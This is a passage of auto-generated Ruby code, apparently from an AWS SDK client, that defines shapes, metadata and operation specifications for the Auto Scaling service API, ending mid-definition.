SetDesiredCapacityType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
SetDesiredCapacityType.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, required: true, location_name: "DesiredCapacity"))
SetDesiredCapacityType.add_member(:honor_cooldown, Shapes::ShapeRef.new(shape: HonorCooldown, location_name: "HonorCooldown"))
SetDesiredCapacityType.struct_class = Types::SetDesiredCapacityType
SetInstanceHealthQuery.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, required: true, location_name: "InstanceId"))
SetInstanceHealthQuery.add_member(:health_status, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, required: true, location_name: "HealthStatus"))
SetInstanceHealthQuery.add_member(:should_respect_grace_period, Shapes::ShapeRef.new(shape: ShouldRespectGracePeriod, location_name: "ShouldRespectGracePeriod"))
SetInstanceHealthQuery.struct_class = Types::SetInstanceHealthQuery
SetInstanceProtectionAnswer.struct_class = Types::SetInstanceProtectionAnswer
SetInstanceProtectionQuery.add_member(:instance_ids, Shapes::ShapeRef.new(shape: InstanceIds, required: true, location_name: "InstanceIds"))
SetInstanceProtectionQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
SetInstanceProtectionQuery.add_member(:protected_from_scale_in, Shapes::ShapeRef.new(shape: ProtectedFromScaleIn, required: true, location_name: "ProtectedFromScaleIn"))
SetInstanceProtectionQuery.struct_class = Types::SetInstanceProtectionQuery
StartInstanceRefreshAnswer.add_member(:instance_refresh_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceRefreshId"))
StartInstanceRefreshAnswer.struct_class = Types::StartInstanceRefreshAnswer
StartInstanceRefreshType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
StartInstanceRefreshType.add_member(:strategy, Shapes::ShapeRef.new(shape: RefreshStrategy, location_name: "Strategy"))
StartInstanceRefreshType.add_member(:desired_configuration, Shapes::ShapeRef.new(shape: DesiredConfiguration, location_name: "DesiredConfiguration"))
StartInstanceRefreshType.add_member(:preferences, Shapes::ShapeRef.new(shape: RefreshPreferences, location_name: "Preferences"))
StartInstanceRefreshType.struct_class = Types::StartInstanceRefreshType
StepAdjustment.add_member(:metric_interval_lower_bound, Shapes::ShapeRef.new(shape: MetricScale, location_name: "MetricIntervalLowerBound"))
StepAdjustment.add_member(:metric_interval_upper_bound, Shapes::ShapeRef.new(shape: MetricScale, location_name: "MetricIntervalUpperBound"))
StepAdjustment.add_member(:scaling_adjustment, Shapes::ShapeRef.new(shape: PolicyIncrement, required: true, location_name: "ScalingAdjustment"))
StepAdjustment.struct_class = Types::StepAdjustment
StepAdjustments.member = Shapes::ShapeRef.new(shape: StepAdjustment)
SuspendedProcess.add_member(:process_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "ProcessName"))
SuspendedProcess.add_member(:suspension_reason, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "SuspensionReason"))
SuspendedProcess.struct_class = Types::SuspendedProcess
SuspendedProcesses.member = Shapes::ShapeRef.new(shape: SuspendedProcess)
Tag.add_member(:resource_id, Shapes::ShapeRef.new(shape: XmlString, location_name: "ResourceId"))
Tag.add_member(:resource_type, Shapes::ShapeRef.new(shape: XmlString, location_name: "ResourceType"))
Tag.add_member(:key, Shapes::ShapeRef.new(shape: TagKey, required: true, location_name: "Key"))
Tag.add_member(:value, Shapes::ShapeRef.new(shape: TagValue, location_name: "Value"))
Tag.add_member(:propagate_at_launch, Shapes::ShapeRef.new(shape: PropagateAtLaunch, location_name: "PropagateAtLaunch"))
Tag.struct_class = Types::Tag
TagDescription.add_member(:resource_id, Shapes::ShapeRef.new(shape: XmlString, location_name: "ResourceId"))
TagDescription.add_member(:resource_type, Shapes::ShapeRef.new(shape: XmlString, location_name: "ResourceType"))
TagDescription.add_member(:key, Shapes::ShapeRef.new(shape: TagKey, location_name: "Key"))
TagDescription.add_member(:value, Shapes::ShapeRef.new(shape: TagValue, location_name: "Value"))
TagDescription.add_member(:propagate_at_launch, Shapes::ShapeRef.new(shape: PropagateAtLaunch, location_name: "PropagateAtLaunch"))
TagDescription.struct_class = Types::TagDescription
TagDescriptionList.member = Shapes::ShapeRef.new(shape: TagDescription)
Tags.member = Shapes::ShapeRef.new(shape: Tag)
TagsType.add_member(:tags, Shapes::ShapeRef.new(shape: TagDescriptionList, location_name: "Tags"))
TagsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
TagsType.struct_class = Types::TagsType
TargetGroupARNs.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen511)
TargetTrackingConfiguration.add_member(:predefined_metric_specification, Shapes::ShapeRef.new(shape: PredefinedMetricSpecification, location_name: "PredefinedMetricSpecification"))
TargetTrackingConfiguration.add_member(:customized_metric_specification, Shapes::ShapeRef.new(shape: CustomizedMetricSpecification, location_name: "CustomizedMetricSpecification"))
TargetTrackingConfiguration.add_member(:target_value, Shapes::ShapeRef.new(shape: MetricScale, required: true, location_name: "TargetValue"))
TargetTrackingConfiguration.add_member(:disable_scale_in, Shapes::ShapeRef.new(shape: DisableScaleIn, location_name: "DisableScaleIn"))
TargetTrackingConfiguration.struct_class = Types::TargetTrackingConfiguration
TerminateInstanceInAutoScalingGroupType.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, required: true, location_name: "InstanceId"))
TerminateInstanceInAutoScalingGroupType.add_member(:should_decrement_desired_capacity, Shapes::ShapeRef.new(shape: ShouldDecrementDesiredCapacity, required: true, location_name: "ShouldDecrementDesiredCapacity"))
TerminateInstanceInAutoScalingGroupType.struct_class = Types::TerminateInstanceInAutoScalingGroupType
TerminationPolicies.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen1600)
TotalLocalStorageGBRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveDouble, location_name: "Min"))
TotalLocalStorageGBRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveDouble, location_name: "Max"))
TotalLocalStorageGBRequest.struct_class = Types::TotalLocalStorageGBRequest
UpdateAutoScalingGroupType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
UpdateAutoScalingGroupType.add_member(:launch_configuration_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchConfigurationName"))
UpdateAutoScalingGroupType.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplate"))
UpdateAutoScalingGroupType.add_member(:mixed_instances_policy, Shapes::ShapeRef.new(shape: MixedInstancesPolicy, location_name: "MixedInstancesPolicy"))
UpdateAutoScalingGroupType.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, location_name: "MinSize"))
UpdateAutoScalingGroupType.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, location_name: "MaxSize"))
UpdateAutoScalingGroupType.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, location_name: "DesiredCapacity"))
UpdateAutoScalingGroupType.add_member(:default_cooldown, Shapes::ShapeRef.new(shape: Cooldown, location_name: "DefaultCooldown"))
UpdateAutoScalingGroupType.add_member(:availability_zones, Shapes::ShapeRef.new(shape: AvailabilityZones, location_name: "AvailabilityZones"))
UpdateAutoScalingGroupType.add_member(:health_check_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "HealthCheckType"))
UpdateAutoScalingGroupType.add_member(:health_check_grace_period, Shapes::ShapeRef.new(shape: HealthCheckGracePeriod, location_name: "HealthCheckGracePeriod"))
UpdateAutoScalingGroupType.add_member(:placement_group, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "PlacementGroup"))
UpdateAutoScalingGroupType.add_member(:vpc_zone_identifier, Shapes::ShapeRef.new(shape: XmlStringMaxLen2047, location_name: "VPCZoneIdentifier"))
UpdateAutoScalingGroupType.add_member(:termination_policies, Shapes::ShapeRef.new(shape: TerminationPolicies, location_name: "TerminationPolicies"))
UpdateAutoScalingGroupType.add_member(:new_instances_protected_from_scale_in, Shapes::ShapeRef.new(shape: InstanceProtected, location_name: "NewInstancesProtectedFromScaleIn"))
UpdateAutoScalingGroupType.add_member(:service_linked_role_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "ServiceLinkedRoleARN"))
UpdateAutoScalingGroupType.add_member(:max_instance_lifetime, Shapes::ShapeRef.new(shape: MaxInstanceLifetime, location_name: "MaxInstanceLifetime"))
UpdateAutoScalingGroupType.add_member(:capacity_rebalance, Shapes::ShapeRef.new(shape: CapacityRebalanceEnabled, location_name: "CapacityRebalance"))
UpdateAutoScalingGroupType.add_member(:context, Shapes::ShapeRef.new(shape: Context, location_name: "Context"))
UpdateAutoScalingGroupType.add_member(:desired_capacity_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "DesiredCapacityType"))
UpdateAutoScalingGroupType.add_member(:default_instance_warmup, Shapes::ShapeRef.new(shape: DefaultInstanceWarmup, location_name: "DefaultInstanceWarmup"))
UpdateAutoScalingGroupType.struct_class = Types::UpdateAutoScalingGroupType
VCpuCountRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, required: true, location_name: "Min"))
VCpuCountRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
VCpuCountRequest.struct_class = Types::VCpuCountRequest
Values.member = Shapes::ShapeRef.new(shape: XmlString)
WarmPoolConfiguration.add_member(:max_group_prepared_capacity, Shapes::ShapeRef.new(shape: MaxGroupPreparedCapacity, location_name: "MaxGroupPreparedCapacity"))
WarmPoolConfiguration.add_member(:min_size, Shapes::ShapeRef.new(shape: WarmPoolMinSize, location_name: "MinSize"))
WarmPoolConfiguration.add_member(:pool_state, Shapes::ShapeRef.new(shape: WarmPoolState, location_name: "PoolState"))
WarmPoolConfiguration.add_member(:status, Shapes::ShapeRef.new(shape: WarmPoolStatus, location_name: "Status"))
WarmPoolConfiguration.add_member(:instance_reuse_policy, Shapes::ShapeRef.new(shape: InstanceReusePolicy, location_name: "InstanceReusePolicy"))
WarmPoolConfiguration.struct_class = Types::WarmPoolConfiguration
# @api private
API = Seahorse::Model::Api.new.tap do |api|
api.version = "2011-01-01"
api.metadata = {
"apiVersion" => "2011-01-01",
"endpointPrefix" => "autoscaling",
"protocol" => "query",
"serviceFullName" => "Auto Scaling",
"serviceId" => "Auto Scaling",
"signatureVersion" => "v4",
"uid" => "autoscaling-2011-01-01",
"xmlNamespace" => "http://autoscaling.amazonaws.com/doc/2011-01-01/",
}
api.add_operation(:attach_instances, Seahorse::Model::Operation.new.tap do |o|
o.name = "AttachInstances"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: AttachInstancesQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:attach_load_balancer_target_groups, Seahorse::Model::Operation.new.tap do |o|
o.name = "AttachLoadBalancerTargetGroups"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: AttachLoadBalancerTargetGroupsType)
o.output = Shapes::ShapeRef.new(shape: AttachLoadBalancerTargetGroupsResultType)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:attach_load_balancers, Seahorse::Model::Operation.new.tap do |o|
o.name = "AttachLoadBalancers"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: AttachLoadBalancersType)
o.output = Shapes::ShapeRef.new(shape: AttachLoadBalancersResultType)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:batch_delete_scheduled_action, Seahorse::Model::Operation.new.tap do |o|
o.name = "BatchDeleteScheduledAction"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: BatchDeleteScheduledActionType)
o.output = Shapes::ShapeRef.new(shape: BatchDeleteScheduledActionAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:batch_put_scheduled_update_group_action, Seahorse::Model::Operation.new.tap do |o|
o.name = "BatchPutScheduledUpdateGroupAction"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: BatchPutScheduledUpdateGroupActionType)
o.output = Shapes::ShapeRef.new(shape: BatchPutScheduledUpdateGroupActionAnswer)
o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsFault)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:cancel_instance_refresh, Seahorse::Model::Operation.new.tap do |o|
o.name = "CancelInstanceRefresh"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: CancelInstanceRefreshType)
o.output = Shapes::ShapeRef.new(shape: CancelInstanceRefreshAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ActiveInstanceRefreshNotFoundFault)
end)
api.add_operation(:complete_lifecycle_action, Seahorse::Model::Operation.new.tap do |o|
o.name = "CompleteLifecycleAction"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: CompleteLifecycleActionType)
o.output = Shapes::ShapeRef.new(shape: CompleteLifecycleActionAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:create_auto_scaling_group, Seahorse::Model::Operation.new.tap do |o|
o.name = "CreateAutoScalingGroup"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: CreateAutoScalingGroupType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsFault)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:create_launch_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "CreateLaunchConfiguration"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: CreateLaunchConfigurationType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsFault)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:create_or_update_tags, Seahorse::Model::Operation.new.tap do |o|
o.name = "CreateOrUpdateTags"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: CreateOrUpdateTagsType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
end)
api.add_operation(:delete_auto_scaling_group, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteAutoScalingGroup"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteAutoScalingGroupType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:delete_launch_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteLaunchConfiguration"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: LaunchConfigurationNameType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:delete_lifecycle_hook, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteLifecycleHook"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteLifecycleHookType)
o.output = Shapes::ShapeRef.new(shape: DeleteLifecycleHookAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:delete_notification_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteNotificationConfiguration"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteNotificationConfigurationType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:delete_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeletePolicy"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeletePolicyType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:delete_scheduled_action, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteScheduledAction"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteScheduledActionType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:delete_tags, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteTags"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteTagsType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
end)
api.add_operation(:delete_warm_pool, Seahorse::Model::Operation.new.tap do |o|
o.name = "DeleteWarmPool"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DeleteWarmPoolType)
o.output = Shapes::ShapeRef.new(shape: DeleteWarmPoolAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
end)
api.add_operation(:describe_account_limits, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeAccountLimits"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeAccountLimitsAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_adjustment_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeAdjustmentTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeAdjustmentTypesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_auto_scaling_groups, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeAutoScalingGroups"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: AutoScalingGroupNamesType)
o.output = Shapes::ShapeRef.new(shape: AutoScalingGroupsType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_auto_scaling_instances, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeAutoScalingInstances"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeAutoScalingInstancesType)
o.output = Shapes::ShapeRef.new(shape: AutoScalingInstancesType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_auto_scaling_notification_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeAutoScalingNotificationTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeAutoScalingNotificationTypesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_instance_refreshes, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeInstanceRefreshes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeInstanceRefreshesType)
o.output = Shapes::ShapeRef.new(shape: DescribeInstanceRefreshesAnswer)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_launch_configurations, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeLaunchConfigurations"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: LaunchConfigurationNamesType)
o.output = Shapes::ShapeRef.new(shape: LaunchConfigurationsType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_lifecycle_hook_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeLifecycleHookTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeLifecycleHookTypesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_lifecycle_hooks, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeLifecycleHooks"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeLifecycleHooksType)
o.output = Shapes::ShapeRef.new(shape: DescribeLifecycleHooksAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_load_balancer_target_groups, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeLoadBalancerTargetGroups"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeLoadBalancerTargetGroupsRequest)
o.output = Shapes::ShapeRef.new(shape: DescribeLoadBalancerTargetGroupsResponse)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
end)
api.add_operation(:describe_load_balancers, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeLoadBalancers"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeLoadBalancersRequest)
o.output = Shapes::ShapeRef.new(shape: DescribeLoadBalancersResponse)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
end)
api.add_operation(:describe_metric_collection_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeMetricCollectionTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeMetricCollectionTypesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_notification_configurations, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeNotificationConfigurations"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeNotificationConfigurationsType)
o.output = Shapes::ShapeRef.new(shape: DescribeNotificationConfigurationsAnswer)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_policies, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribePolicies"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribePoliciesType)
o.output = Shapes::ShapeRef.new(shape: PoliciesType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_scaling_activities, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeScalingActivities"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeScalingActivitiesType)
o.output = Shapes::ShapeRef.new(shape: ActivitiesType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_scaling_process_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeScalingProcessTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: ProcessesType)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_scheduled_actions, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeScheduledActions"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeScheduledActionsType)
o.output = Shapes::ShapeRef.new(shape: ScheduledActionsType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_tags, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeTags"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeTagsType)
o.output = Shapes::ShapeRef.new(shape: TagsType)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o[:pager] = Aws::Pager.new(
limit_key: "max_records",
tokens: {
"next_token" => "next_token"
}
)
end)
api.add_operation(:describe_termination_policy_types, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeTerminationPolicyTypes"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.output = Shapes::ShapeRef.new(shape: DescribeTerminationPolicyTypesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:describe_warm_pool, Seahorse::Model::Operation.new.tap do |o|
o.name = "DescribeWarmPool"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DescribeWarmPoolType)
o.output = Shapes::ShapeRef.new(shape: DescribeWarmPoolAnswer)
o.errors << Shapes::ShapeRef.new(shape: InvalidNextToken)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:detach_instances, Seahorse::Model::Operation.new.tap do |o|
o.name = "DetachInstances"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DetachInstancesQuery)
o.output = Shapes::ShapeRef.new(shape: DetachInstancesAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:detach_load_balancer_target_groups, Seahorse::Model::Operation.new.tap do |o|
o.name = "DetachLoadBalancerTargetGroups"
o.http_method = "POST"
